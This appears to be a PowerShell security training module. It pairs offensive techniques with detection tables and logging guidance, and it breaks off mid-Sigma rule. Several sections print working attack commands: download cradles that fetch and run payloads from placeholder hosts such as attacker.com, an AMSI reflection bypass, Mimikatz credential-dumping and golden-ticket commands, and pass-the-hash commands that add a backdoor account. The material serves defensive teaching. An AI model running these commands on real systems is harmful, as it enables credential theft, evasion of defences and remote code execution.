PowerShell Security Deep Dive — Offensive & Defensive
PowerShell Security Deep Dive — Offensive & Defensive
CIPHER Training Module | Created 2026-03-14 Covers: PowerShell as attack surface, offensive frameworks, defensive instrumentation, detection engineering
Table of Contents
- Why PowerShell Matters
- Offensive Frameworks Overview
- PowerView — AD Enumeration
- Empire C2 — PowerShell Command & Control
- Credential Attacks — Mimikatz & Pass-the-Hash
- Download Cradles
- AMSI Bypass Techniques
- Constrained Language Mode & AppLocker Bypass
- Obfuscation Techniques
- C# via PowerShell — PowerSharpPack
- MachineAccountQuota Abuse — Powermad
- Defensive Instrumentation
- Detection Engineering — Sigma Rules
- Detection of Obfuscation — Revoke-Obfuscation
- Hardening Checklist
1. Why PowerShell Matters
PowerShell is the most dual-use tool in the Windows ecosystem. It is simultaneously:
- The primary automation and administration language for Windows/AD environments
- The most commonly abused living-off-the-land binary (LOLBIN) by threat actors
- Present on every modern Windows system (v5.1 ships with Win10/Server 2016+)
- Capable of direct .NET Framework access, Win32 API calls, WMI interaction, COM object instantiation, and reflective assembly loading — all from memory
ATT&CK Reference: T1059.001 (Command and Scripting Interpreter: PowerShell) appears in the kill chains of APT29, APT32, APT33, FIN7, Lazarus Group, Wizard Spider, and dozens more.
Every red team engagement touches PowerShell. Every SOC must detect its abuse. This module covers both sides.
2. Offensive Frameworks Overview
Nishang
Source: https://github.com/samratashok/nishang
A comprehensive offensive PowerShell framework organized by attack phase:
| Category | Key Scripts | Purpose |
|---|---|---|
| Gather | Invoke-Mimikatz, Get-PassHashes, Get-WLAN-Keys, Invoke-Mimikittenz |
Credential extraction, keylogging, memory analysis |
| Shells | Invoke-PowerShellTcp, Invoke-PowerShellUdp, Invoke-PoshRatHttps |
Reverse/bind shells over TCP, UDP, HTTP/S, ICMP, WMI |
| Backdoors | HTTP-Backdoor, DNS_TXT_Pwnage, Gupt-Backdoor |
Persistence via DNS TXT, HTTP, screensavers, WMI, ADS |
| Execution | Download-Execute-PS, Execute-Command-MSSQL |
Remote code execution via MSSQL, DNS TXT, rundll32 |
| Client | Out-Word, Out-Excel, Out-HTA, Out-CHM |
Weaponized document/file generation |
| Escalation | Token duplication, UAC bypass | Privilege escalation |
| Scan | Port scanning, brute-force (FTP, AD, MSSQL) | Network reconnaissance |
| Utility | Invoke-Encode, exfiltration helpers |
Encoding, data staging |
PowerSploit
Source: https://github.com/PowerShellMafia/PowerSploit (archived 2021, still widely referenced)
| Module | Key Functions | Purpose |
|---|---|---|
| Recon | PowerView (see Section 3) | AD enumeration and exploitation |
| Exfiltration | Invoke-Mimikatz, Invoke-TokenManipulation, Invoke-NinjaCopy, Get-GPPPassword, Get-Keystrokes, Out-Minidump |
Credential harvesting, token manipulation, raw NTFS reads |
| Privesc | PowerUp | Privilege escalation vector discovery and exploitation |
| CodeExecution | Invoke-DllInjection, Invoke-ReflectivePEInjection, Invoke-Shellcode, Invoke-WmiCommand |
In-memory code execution, process injection |
| Persistence | Add-Persistence, Install-SSP |
Backdoor installation, SSP DLL persistence |
| ScriptModification | Out-EncodedCommand, Out-EncryptedScript, Remove-Comment |
Payload preparation and obfuscation |
| AntivirusBypass | Find-AVSignature |
AV signature identification via byte splitting |
3. PowerView — AD Enumeration
Source: PowerSploit/Recon module ATT&CK: T1087 (Account Discovery), T1069 (Permission Groups Discovery), T1482 (Domain Trust Discovery), T1018 (Remote System Discovery)
PowerView is the gold standard for Active Directory enumeration from a compromised workstation. Every function operates over LDAP/ADSI and requires only standard domain user credentials.
Core Enumeration Functions
# User enumeration
Get-DomainUser # All domain users
Get-DomainUser -Identity svc_sql # Specific user
Get-DomainUser -AdminCount # Users with AdminCount=1 (privileged)
Get-DomainUser -SPN # Users with SPNs (Kerberoastable)
# Group enumeration
Get-DomainGroup # All domain groups
Get-DomainGroup -Identity "Domain Admins" -Recurse # Nested membership
Get-DomainForeignUser # Users in groups outside their domain
# Computer enumeration
Get-DomainComputer # All domain computers
Get-DomainComputer -Unconstrained # Unconstrained delegation targets
Get-DomainController # Domain controllers
# GPO enumeration
Get-DomainGPO # All GPOs
Get-DomainGPOUserLocalGroupMapping # GPO-derived local admin mappings
# Trust enumeration
Get-DomainTrust # Domain trusts
Get-ForestTrust # Forest trusts
# ACL enumeration
Get-DomainObjectAcl -Identity "Domain Admins" # ACLs on objects
# OU enumeration
Get-DomainOU # Organizational Units
Get-DomainSID # Domain SID
Lateral Movement Discovery
# Find where current user has local admin
Find-LocalAdminAccess
# Find where specific users are logged in
Find-DomainUserLocation -UserIdentity "admin01"
# Session enumeration
Get-NetSession -ComputerName dc01
Get-NetLoggedon -ComputerName ws01
# Share discovery
Find-DomainShare -CheckShareAccess
# Test admin access
Test-AdminAccess -ComputerName target01
Kerberoasting
# Request service tickets for all SPN accounts — T1558.003
Invoke-Kerberoast -OutputFormat Hashcat
Get-DomainSPNTicket -SPN "MSSQLSvc/sql01.corp.local:1433"
DETECTION OPPORTUNITIES
| Indicator | Detection |
|---|---|
| Mass LDAP queries from workstation | Monitor LDAP query volume per source (Sigma: win_ldap_recon) |
Get-DomainUser -SPN |
Kerberos TGS requests for multiple SPNs from single source (EID 4769) |
Find-LocalAdminAccess |
Rapid SMB connections to multiple hosts (network flow analysis) |
Get-NetSession |
NetSessionEnum API calls from non-admin workstations |
4. Empire C2 — PowerShell Command & Control
Source: https://github.com/BC-SECURITY/Empire ATT&CK: T1071 (Application Layer Protocol), T1059.001 (PowerShell), T1573 (Encrypted Channel)
Empire is a post-exploitation C2 framework with deep PowerShell integration. Current versions (5.x) support five agent types: PowerShell, Python 3, C#, IronPython 3, and Go.
Architecture
Operator (Starkiller GUI / CLI Client)
|
Empire Server (Python 3)
|
Listeners (HTTP/S, Malleable HTTP, OneDrive, Dropbox, PHP)
|
Stagers (launcher, macro, HTA, DLL, etc.)
|
Agents (PowerShell, C#, Python, IronPython, Go)
|
Modules (400+ post-exploitation modules)
PowerShell Stager Flow
- Listener binds on attacker infrastructure (e.g., HTTPS on port 443)
- Stager generates a PowerShell launcher — typically an encoded download cradle
- Stager executes on target, downloads the full agent
- Agent establishes encrypted C2 channel with configurable beacon intervals
- Operator tasks the agent with modules for post-exploitation
Key Capabilities
- Integrated obfuscation: ConfuserEx 2, Invoke-Obfuscation built-in
- JA3/S and JARM evasion: Fingerprint randomization
- Donut integration: Shellcode generation for .NET assemblies
- 400+ modules: Mimikatz, Rubeus, Seatbelt, Certify, SharpHound, BOF execution
- Malleable C2 profiles: HTTP traffic shaping to mimic legitimate services
- Roslyn compiler: Dynamic .NET payload generation
Typical PowerShell Launcher (Simplified)
powershell -noP -sta -w 1 -enc <base64_encoded_stager>
Flags commonly observed:
-noP/-NoProfile— skip profile loading-sta— single-threaded apartment (required for some COM operations)-w 1/-WindowStyle Hidden— hide window-enc/-EncodedCommand— base64-encoded command-ep bypass/-ExecutionPolicy Bypass— bypass execution policy-noni/-NonInteractive— suppress interactive prompts
DETECTION OPPORTUNITIES
| Indicator | Detection |
|---|---|
PowerShell with -enc + -noP + -w hidden |
Process creation with suspicious flag combinations (EID 4688/Sysmon EID 1) |
| Periodic HTTP/S beaconing | Network flow analysis for regular interval connections |
| Empire default User-Agent strings | HTTP proxy/IDS inspection |
| PowerShell spawning from unusual parents | Process tree analysis (Word/Excel/mshta spawning PowerShell) |
5. Credential Attacks — Mimikatz & Pass-the-Hash
Invoke-Mimikatz (PowerSploit/Nishang)
ATT&CK: T1003.001 (LSASS Memory), T1550.002 (Pass the Hash)
Reflectively loads Mimikatz 2.0 entirely in memory — no binary touches disk.
# Dump credentials from LSASS — requires local admin + SeDebugPrivilege
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'
# DCSync — requires Replicating Directory Changes + RDC All
Invoke-Mimikatz -Command '"lsadump::dcsync /user:DOMAIN\krbtgt"'
# Golden ticket
Invoke-Mimikatz -Command '"kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-... /krbtgt:<hash> /ptt"'
# Pass-the-Hash
Invoke-Mimikatz -Command '"sekurlsa::pth /user:admin /domain:corp.local /ntlm:<hash>"'
Invoke-TheHash — Pure PowerShell PTH
Source: https://github.com/Kevin-Robertson/Invoke-TheHash ATT&CK: T1550.002 (Pass the Hash)
Implements NTLMv2 authentication entirely in PowerShell using .NET TCPClient — no external tools, no local admin required on the attacking machine, PowerShell 2.0+.
# WMI command execution with hash
Invoke-WMIExec -Target 192.168.1.10 -Domain corp.local -Username admin -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "whoami"
# SMB command execution (creates temp service)
Invoke-SMBExec -Target 192.168.1.10 -Domain corp.local -Username admin -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "net user backdoor P@ss123 /add"
# SMB file operations
Invoke-SMBClient -Target 192.168.1.10 -Domain corp.local -Username admin -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source "\\192.168.1.10\C$\secrets.txt"
# SMB enumeration (users, groups, shares, sessions)
Invoke-SMBEnum -Target 192.168.1.10 -Domain corp.local -Username admin -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action All
# Multi-target sweep with CIDR
Invoke-TheHash -Type WMIExec -Target 192.168.1.0/24 -Username admin -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "hostname"
Key design details:
- Uses .NET TCPClient (not native Windows SMB client) — works across PS versions
- Supports SMB1 and SMB2.1, with and without signing
- SMBExec creates a temporary service for command execution
- Accepts hashes in
LM:NTLMorNTLMformat
DETECTION OPPORTUNITIES
| Indicator | Detection |
|---|---|
| LSASS access from PowerShell | Sysmon EID 10 (ProcessAccess) targeting lsass.exe |
| Invoke-Mimikatz string in script block logs | EID 4104 content match |
| Service creation for SMBExec | EID 7045 (new service) with random service names |
| NTLMv2 auth from workstations to multiple targets | Windows Security EID 4624 (Type 3) from unusual sources |
| WMI remote process creation | EID 4688 with parent wmiprvse.exe on target |
| DCSync replication requests | EID 4662 with DS-Replication-Get-Changes extended rights |
6. Download Cradles
Download cradles are one-liner techniques to fetch and execute code from remote sources entirely in memory. They are the initial delivery mechanism for most PowerShell-based attacks.
Common Cradles
# Classic — Net.WebClient (most common, most detected)
IEX (New-Object Net.WebClient).DownloadString('https://attacker.com/payload.ps1')
# Shorthand aliases
iex (iwr 'https://attacker.com/payload.ps1' -UseBasicParsing).Content
# Net.WebClient with proxy-aware settings
$wc = New-Object Net.WebClient
$wc.Proxy = [Net.WebRequest]::GetSystemWebProxy()
$wc.Proxy.Credentials = [Net.CredentialCache]::DefaultCredentials
IEX $wc.DownloadString('https://attacker.com/payload.ps1')
# System.Net.HttpWebRequest
$r = [Net.HttpWebRequest]::Create('https://attacker.com/payload.ps1')
$resp = $r.GetResponse()
IEX ([IO.StreamReader]($resp.GetResponseStream())).ReadToEnd()
# COM object (InternetExplorer.Application)
$ie = New-Object -ComObject InternetExplorer.Application
$ie.Visible = $false
$ie.Navigate('https://attacker.com/payload.ps1')
while($ie.Busy){Start-Sleep -Milliseconds 100}
IEX $ie.Document.body.innerText
# COM object (Msxml2.XMLHTTP)
$h = New-Object -ComObject Msxml2.XMLHTTP
$h.Open('GET','https://attacker.com/payload.ps1',$false)
$h.Send()
IEX $h.ResponseText
# .NET Assembly.Load (for C# payloads)
$bytes = (New-Object Net.WebClient).DownloadData('https://attacker.com/payload.exe')
[System.Reflection.Assembly]::Load($bytes)
# Certutil abuse (not PowerShell, but often combined) — T1105
certutil -urlcache -split -f https://attacker.com/payload.ps1 C:\temp\p.ps1
# BitsTransfer
Import-Module BitsTransfer
Start-BitsTransfer -Source 'https://attacker.com/payload.ps1' -Destination 'C:\temp\p.ps1'
Cradle Variations for Evasion
# String concatenation to avoid static signatures
IEX (New-Object Net.WebClient).('Down'+'loadString').Invoke('https://attacker.com/p.ps1')
# Variable indirection
$d = 'DownloadString'
(New-Object Net.WebClient).$d('https://attacker.com/p.ps1') | IEX
# Invoke-Expression alternatives
. ([scriptblock]::Create((New-Object Net.WebClient).DownloadString('https://attacker.com/p.ps1')))
& ([scriptblock]::Create($code))
$ExecutionContext.InvokeCommand.InvokeScript($code)
# DNS TXT record cradle (Nishang)
IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((Resolve-DnsName -Name payload.attacker.com -Type TXT).Strings)))
DETECTION OPPORTUNITIES
| Indicator | Detection |
|---|---|
Net.WebClient, DownloadString, IEX in command line |
EID 4104 script block logging content match |
| PowerShell making outbound HTTP/S connections | Sysmon EID 3 (NetworkConnect) from powershell.exe |
Invoke-Expression / IEX usage |
Script block logging keyword detection |
| COM object instantiation for HTTP | EID 4104 with Msxml2.XMLHTTP or InternetExplorer.Application |
certutil with -urlcache |
Process creation monitoring (EID 4688) |
7. AMSI Bypass Techniques
ATT&CK: T1562.001 (Impair Defenses: Disable or Modify Tools)
The Antimalware Scan Interface (AMSI) is Microsoft's content inspection API. Starting with Windows 10 / Server 2016, PowerShell (v5+) sends all script content to AMSI before execution, allowing AV/EDR to inspect and block malicious scripts.
Bypassing AMSI is often the first step in any modern PowerShell attack chain.
Technique Categories
1. Memory Patching — AmsiScanBuffer Bypass
Source: https://github.com/RastaMouse/AmsiScanBufferBypass
The most well-known technique. Patches the AmsiScanBuffer function in amsi.dll in the current process's memory to always return AMSI_RESULT_CLEAN.
Mechanism (conceptual):
1. Get handle to amsi.dll via GetModuleHandle/LoadLibrary
2. Find address of AmsiScanBuffer via GetProcAddress
3. Change memory protection to RWX via VirtualProtect
4. Overwrite first bytes with instructions that return 0 (AMSI_RESULT_CLEAN)
5. Restore memory protection
PowerShell implementation pattern (abstract — signatures rotate):
# Reflection to access Win32 APIs
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
# ... patch bytes at AmsiScanBuffer address
Variants:
- Patching
AmsiOpenSessioninstead ofAmsiScanBuffer - Hardware breakpoint-based bypass (set breakpoint on AmsiScanBuffer, modify return value in exception handler)
amsi.dllDLL hijacking (place a clean amsi.dll in the application directory)
2. Reflection-Based Bypass
Modify AMSI initialization state via .NET reflection:
# Set amsiInitFailed field to true — causes AMSI to skip scanning
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
This one-liner has been heavily signatured. Modern variants split strings, use variable indirection, or encode the type/field names.
3. PSAmsi — Signature Auditing
Source: https://github.com/cobbr/PSAmsi
PSAmsi takes a different approach: instead of blindly bypassing AMSI, it identifies exactly which bytes trigger AMSI detection, then applies minimal obfuscation to only those bytes.
Components:
- PSAmsiScanner: Identifies the specific strings/byte sequences that trigger AMSI
- PSAmsiClient: Calls AMSI functions directly via PSReflect (Matt Graeber's reflection library)
- Invoke-Obfuscation integration: Applies obfuscation only to flagged content
Workflow:
1. Load target script
2. Binary search through script content to find AMSI trigger strings
3. Apply minimal obfuscation (string splitting, encoding) to only those triggers
4. Result: script passes AMSI with minimal modification
4. CLM + AMSI Interaction
Constrained Language Mode disables Add-Type and reflection, which blocks most AMSI bypasses. Attack chains often target CLM first (see Section 8), then AMSI.
5. PowerShell v2 Downgrade
PowerShell v2 does not support AMSI. If v2 engine is available:
powershell -version 2 -command "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
Detection: Monitor for powershell -version 2 in process creation logs. Recommended: remove .NET Framework 2.0/3.5 or disable Windows PowerShell 2.0 Engine feature.
DETECTION OPPORTUNITIES
| Indicator | Detection |
|---|---|
AmsiScanBuffer, AmsiUtils, amsiInitFailed in script blocks |
EID 4104 — these strings appear BEFORE the bypass takes effect |
VirtualProtect + GetProcAddress in PowerShell |
EID 4104 — Win32 API calls via Add-Type |
| PowerShell v2 invocation | Process creation with -version 2 argument |
| AMSI provider reporting errors | ETW Microsoft-Antimalware-Scan-Interface provider events |
.NET reflection targeting System.Management.Automation |
Script block logging keyword detection |
8. Constrained Language Mode & AppLocker Bypass
Constrained Language Mode (CLM)
CLM restricts PowerShell to a safe subset: no Add-Type, no COM objects, no .NET reflection, no arbitrary Win32 API calls. This blocks most offensive PowerShell techniques.
How CLM is enforced:
- WDAC (Windows Defender Application Control) — recommended, tamper-resistant
- AppLocker with script rules — weaker, bypass-prone
__PSLockdownPolicyenvironment variable — trivially bypassable (just delete the variable)- System-wide PowerShell configuration via
powershell.config.json
CLM Bypass Techniques
# Check current language mode
$ExecutionContext.SessionState.LanguageMode
# Returns: ConstrainedLanguage, FullLanguage, RestrictedLanguage, NoLanguage
1. AppLocker Default Rule Abuse
AppLocker default rules allow execution from C:\Windows\* and C:\Program Files\*. Writable subdirectories under these paths bypass AppLocker:
C:\Windows\Tasks\C:\Windows\Temp\C:\Windows\Tracing\C:\Windows\Registration\CRMLog\C:\Windows\System32\FxsTmp\C:\Windows\System32\com\dmp\C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\C:\Windows\System32\spool\drivers\color\C:\Windows\SysWOW64\Tasks\
Drop script to writable path under C:\Windows\ -> AppLocker allows it -> CLM lifts to FullLanguage.
2. InstallUtil / MSBuild / CMSTP LOLBINs
Execute C# code that spawns PowerShell in FullLanguage mode:
# InstallUtil — T1218.004
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.dll
# MSBuild — T1127.001
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.csproj
3. PowerShell Runspace from C#
Create a custom runspace that does not inherit CLM. This requires code execution outside of PowerShell (e.g., via a C# binary allowed by AppLocker/WDAC).
4. WDAC Bypass
WDAC is significantly harder to bypass than AppLocker. Known techniques are rare and patch quickly. Primary approach: find a Microsoft-signed binary that can be abused to execute arbitrary code (supply-chain style).
WDAC (Windows Defender Application Control)
WDAC is the recommended application control solution and enforces CLM more robustly than AppLocker:
- Kernel-level enforcement (not user-mode like AppLocker)
- Cannot be bypassed by environment variable manipulation
- Supports file hash, file path, publisher certificate, and intelligent security graph rules
- Enforces PowerShell CLM automatically when script enforcement is enabled
- Managed via WDAC policies (XML -> binary via
ConvertFrom-CIPolicy)
Best practice: Deploy WDAC in audit mode first (EID 3076), then enforcement mode (EID 3077).
DETECTION OPPORTUNITIES
| Indicator | Detection |
|---|---|
| PowerShell scripts dropped to writable Windows directories | File creation monitoring (Sysmon EID 11) in known writable paths |
| InstallUtil/MSBuild executing from command line | Process creation with these binaries (Sigma: win_lolbin_execution) |
| CLM bypass attempts | PowerShell Operational log entries showing language mode transitions |
__PSLockdownPolicy environment variable deletion |
Registry/environment monitoring |
| WDAC audit events | EID 3076 (audit) / 3077 (enforcement) in CodeIntegrity log |
9. Obfuscation Techniques
Invoke-Obfuscation
Source: https://github.com/danielbohannon/Invoke-Obfuscation ATT&CK: T1027 (Obfuscated Files or Information), T1027.010 (Command Obfuscation)
Six major obfuscation categories, each with multiple variants:
1. TOKEN Obfuscation
Manipulates individual PowerShell language tokens without changing execution:
# Original
Get-Process | Where-Object {$_.CPU -gt 100}
# Token-obfuscated (conceptual)
& (GAL G*t-P*) | . (GAL Wh*-Ob*) {$_.'CPU' -gt 0x64}
Techniques:
- Variable encapsulation in
${}syntax - Case randomization:
gEt-PrOcEsS - Alias resolution:
GAL->Get-Alias, resolving to target cmdlet - Format operator
-freordering:"{1}{0}" -f "cess","Pro" - Tick insertion:
G`et-P`roce`ss(backtick is escape character, ignored mid-token)
2. STRING Obfuscation
Transforms string representations:
# Reverse + join
-join ('ss'+'ec'+'orP'+'-'+'teG')[-1..-100]
# Char array construction
[char[]]@(71,101,116,45,80,114,111,99,101,115,115) -join ''
# Format operator
"{2}{0}{1}" -f 'oces','s','Get-Pr'
3. ENCODING Obfuscation
Converts entire commands to encoded representations requiring runtime decoding:
- Base64: Standard
-EncodedCommandapproach - Hex:
[Convert]::ToInt16('47',16)per character - Octal: Numeric character construction
- Binary: Binary string to char conversion
- BXOR: XOR with key, decoded at runtime
- SecureString: Encrypt with DPAPI, decrypt at runtime
- Special character encoding: Commands represented as only special chars
- Whitespace encoding: Commands encoded in whitespace patterns
4. COMPRESS Obfuscation
GZip/Deflate compression into single-line decompression cradle:
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream(
[IO.MemoryStream][Convert]::FromBase64String('H4sI...'),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()
5. LAUNCHER Obfuscation
Moves actual commands out of powershell.exe arguments:
- WMIC:
wmic process call create "powershell ..." - MSHTA:
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ...") - RUNDLL:
rundll32 javascript:"\..\mshtml,RunHTMLApplication";... - CLIP: Pipe command to clipboard, execute via
powershell (Get-Clipboard) - STDIN:
echo IEX ... | powershell -
6. AST Obfuscation
Manipulates the Abstract Syntax Tree structure without heavy use of special characters — newer and harder to detect via character frequency analysis.
Invoke-DOSfuscation
Source: https://github.com/danielbohannon/Invoke-DOSfuscation
Obfuscates cmd.exe commands, relevant when PowerShell is launched via cmd /c:
Techniques:
- Environment variable substring substitution:
%COMSPEC:~-7,1%extracts characters from env vars to build commands - FOR loop encoding:
/Floops that construct commands character by character - Concatenation:
s^e^tusing^escape characters - Variable chaining: Build command across multiple SET statements
This matters because many payloads launch PowerShell from cmd.exe, and DOSfuscation hides the PowerShell invocation from command-line logging.
Layered Obfuscation Example
Original: IEX (New-Object Net.WebClient).DownloadString('http://evil.com/p.ps1')
Layer 1 (Token): & (GAL I*X) (.(GAL N*-O*) NeT.WeBClIeNt).('Down'+'load'+'String').Invoke('http://evil.com/p.ps1')
Layer 2 (Encoding): powershell -enc <base64 of Layer 1>
Layer 3 (Launcher): wmic process call create "powershell -enc ..."
Layer 4 (DOSfuscation): %COMSPEC% /c "w^m^i^c p^r^o^c^e^s^s ..."
Each layer addresses a different detection point: script content, command-line arguments, process name, and parent process arguments respectively.
10. C# via PowerShell — PowerSharpPack
Source: https://github.com/S3cur3Th1sSh1t/PowerSharpPack ATT&CK: T1620 (Reflective Code Loading)
PowerSharpPack wraps 70+ offensive C# tools for execution via PowerShell reflection, demonstrating that "offensive PowerShell is not dead" despite AMSI and logging.
Loading Mechanism
1. C# source -> compiled to .NET assembly
2. Assembly -> GZip compressed -> Base64 encoded
3. PowerShell wrapper decompresses and decodes at runtime
4. [System.Reflection.Assembly]::Load($bytes) loads into memory
5. Reflected invocation of Main() or target method
No binary touches disk. The assembly lives entirely in the PowerShell process memory.
Key Included Tools
| Tool | Purpose | ATT&CK |
|---|---|---|
| Rubeus | Kerberos attacks (kerberoast, AS-REP roast, S4U, ticket manipulation) | T1558 |
| Seatbelt | Host enumeration and security posture assessment | T1082 |
| SharpHound | BloodHound data collection (AD attack path mapping) | T1087 |
| Certify | AD Certificate Services abuse (ESC1-ESC8) | T1649 |
| SharpUp | Privilege escalation vector identification | T1068 |
| SafetyKatz | Mimikatz wrapper (credential dumping) | T1003 |
| SharpKatz | Credential dumping | T1003 |
| Internal Monologue | NTLM hash extraction without touching LSASS | T1003 |
| SharpView | AD enumeration (C# port of PowerView) | T1087 |
| winPEAS | Privilege escalation enumeration | T1068 |
| Snaffler | Sensitive file discovery on shares | T1083 |
| SharpDump | LSASS minidump creation | T1003.001 |
| SharpChromium | Browser credential extraction | T1555.003 |
| SharpPrintNightmare | CVE-2021-1675 exploitation | T1068 |
Usage
# Load the framework
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpPack.ps1')
# Run tools
PowerSharpPack -Rubeus -Command "kerberoast /outfile:hashes.txt"
PowerSharpPack -Seatbelt -Command "AMSIProviders"
PowerSharpPack -Certify -Command "find /vulnerable"
PowerSharpPack -SharpHound -Command "-c All --outputdirectory C:\temp"
DETECTION OPPORTUNITIES
| Indicator | Detection |
|---|---|
[System.Reflection.Assembly]::Load in script blocks |
EID 4104 — reflective assembly loading is rare in legitimate scripts |
| GZip decompression + Base64 decode + Assembly.Load pattern | Script block content correlation |
| Known tool strings in script blocks (Rubeus, Seatbelt, etc.) | Content-based alerting on EID 4104 |
| Large script block sizes | Statistical anomaly detection on script block event sizes |
11. MachineAccountQuota Abuse — Powermad
Source: https://github.com/Kevin-Robertson/Powermad ATT&CK: T1136.002 (Create Account: Domain Account), T1557 (Adversary-in-the-Middle via ADIDNS poisoning)
The Vulnerability
By default, the ms-DS-MachineAccountQuota attribute allows any authenticated domain user to create up to 10 machine (computer) accounts. Powermad weaponizes this for several attack chains.
Attack Chains
1. Resource-Based Constrained Delegation (RBCD) Attack
# Step 1: Create a machine account you control
New-MachineAccount -MachineAccount FAKEPC -Password $(ConvertTo-SecureString 'P@ss123' -AsPlainText -Force)
# Step 2: Set msDS-AllowedToActOnBehalfOfOtherIdentity on target
# (requires write access to target computer object)
Set-ADComputer target-server -PrincipalsAllowedToDelegateToAccount FAKEPC$
# Step 3: Use Rubeus to get a service ticket via S4U
Rubeus.exe s4u /user:FAKEPC$ /rc4:<hash> /impersonateuser:administrator /msdsspn:cifs/target-server /ptt
2. ADIDNS Poisoning
# Add a DNS record pointing to attacker IP — enables MITM
Invoke-DNSUpdate -DNSType A -DNSName attacker-record -DNSData 10.0.0.50 -Realm corp.local
# Create ADIDNS node for more complex records
New-ADIDNSNode -Node evil -Zone corp.local -Data 10.0.0.50
3. Machine Account Attribute Abuse
# Modify SPN on created machine account (for Kerberos attacks)
Set-MachineAccountAttribute -MachineAccount FAKEPC -Attribute ServicePrincipalName -Value "HTTP/target.corp.local"
# Enumerate who created machine accounts
Get-MachineAccountCreator
DETECTION OPPORTUNITIES
| Indicator | Detection |
|---|---|
| Computer account creation by non-admin users | EID 4741 (Computer Account Created) where creator is not a machine join service account |
ms-DS-MachineAccountQuota > 0 |
Audit AD configuration — set to 0 in production |
| ADIDNS record creation | Monitor MicrosoftDNS event logs for record changes |
| RBCD attribute modification | EID 5136 (Directory Service Object Modified) on msDS-AllowedToActOnBehalfOfOtherIdentity |
12. Defensive Instrumentation
PowerShell Logging — The Three Pillars
All three must be enabled for comprehensive visibility. Each covers different gaps.
1. Script Block Logging (EID 4104)
What it captures: The full deobfuscated script content as seen by the PowerShell engine. This is the single most valuable PowerShell detection data source because it logs AFTER deobfuscation — the actual code that executes, not the obfuscated command line.
Configuration (GPO):
Computer Configuration -> Administrative Templates -> Windows Components -> Windows PowerShell
-> Turn on PowerShell Script Block Logging -> Enabled
-> Check "Log script block invocation start / stop events" (optional, verbose)
Registry:
HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
EnableScriptBlockLogging = 1
EnableScriptBlockInvocationLogging = 1 (optional)
Key behaviors:
- Logs to
Microsoft-Windows-PowerShell/Operationallog - Scripts over 16KB are split across multiple events (reassembly needed)
- Automatic suspicious script block logging exists even without GPO (flags known patterns)
- Captures content of
Invoke-Expression, downloaded scripts, .ps1 files, interactive commands - Does NOT capture: binary execution, compiled .NET assemblies after they are loaded
2. Module Logging (EID 4103)
What it captures: Pipeline execution details — which modules were loaded, which cmdlets were called, and their parameters with values.
Configuration (GPO):
Computer Configuration -> Administrative Templates -> Windows Components -> Windows PowerShell
-> Turn on Module Logging -> Enabled
-> Module Names: * (all modules)
Registry:
HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging
EnableModuleLogging = 1
ModuleNames\* = * (DWORD)
Key behaviors:
- Logs cmdlet name + parameter name + parameter value
- Captures output of commands (can be verbose)
- Useful for tracking which PowerShell modules are being used
- Complements script block logging — shows execution flow
3. Transcription
What it captures: Full input/output text of every PowerShell session, written to text files on disk. Think of it as a complete session recording.
Configuration (GPO):
Computer Configuration -> Administrative Templates -> Windows Components -> Windows PowerShell
-> Turn on PowerShell Transcription -> Enabled
-> Transcript Output Directory: \\server\transcripts$\
-> Check "Include invocation headers"
Registry:
HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription
EnableTranscripting = 1
OutputDirectory = \\server\transcripts$\
EnableInvocationHeader = 1
Key behaviors:
- Creates one text file per session
- Includes timestamps, user, machine, PID
- Captures command output (which script block logging does not)
- Output directory should be a write-only share (users can write, not read/delete)
- Attackers look for transcription configuration to disable it — monitor registry key access
Sysmon Integration
Sysmon events critical for PowerShell detection:
| EID | Event | PowerShell Relevance |
|---|---|---|
| 1 | Process Create | PowerShell invocation with command-line arguments |
| 3 | Network Connect | PowerShell making outbound connections (download cradles) |
| 7 | Image Loaded | DLL loads in PowerShell process (amsi.dll, clrjit.dll) |
| 8 | CreateRemoteThread | Injection from/into PowerShell process |
| 10 | Process Access | PowerShell accessing LSASS |
| 11 | File Create | Script/payload drops from PowerShell |
| 13 | Registry Value Set | Persistence via registry from PowerShell |
| 22 | DNS Query | DNS lookups from PowerShell (C2, DNS TXT cradles) |
Process Creation Logging (EID 4688)
Enable command line process auditing to capture PowerShell arguments:
Computer Configuration -> Windows Settings -> Security Settings -> Advanced Audit Policy Configuration
-> Detailed Tracking -> Audit Process Creation -> Success
AND enable command-line logging:
Computer Configuration -> Administrative Templates -> System -> Audit Process Creation
-> Include command line in process creation events -> Enabled
ETW Providers
Additional telemetry via Event Tracing for Windows:
Microsoft-Windows-PowerShell # Core PowerShell events
Microsoft-Antimalware-Scan-Interface # AMSI scan results
Microsoft-Windows-WDAC-CodeIntegrity # WDAC enforcement events
13. Detection Engineering — Sigma Rules
Encoded PowerShell Command Detection
title: Suspicious Encoded PowerShell Command
id: b4c53a68-8f3e-4c2b-9d1a-5f7a2e9c0d8b
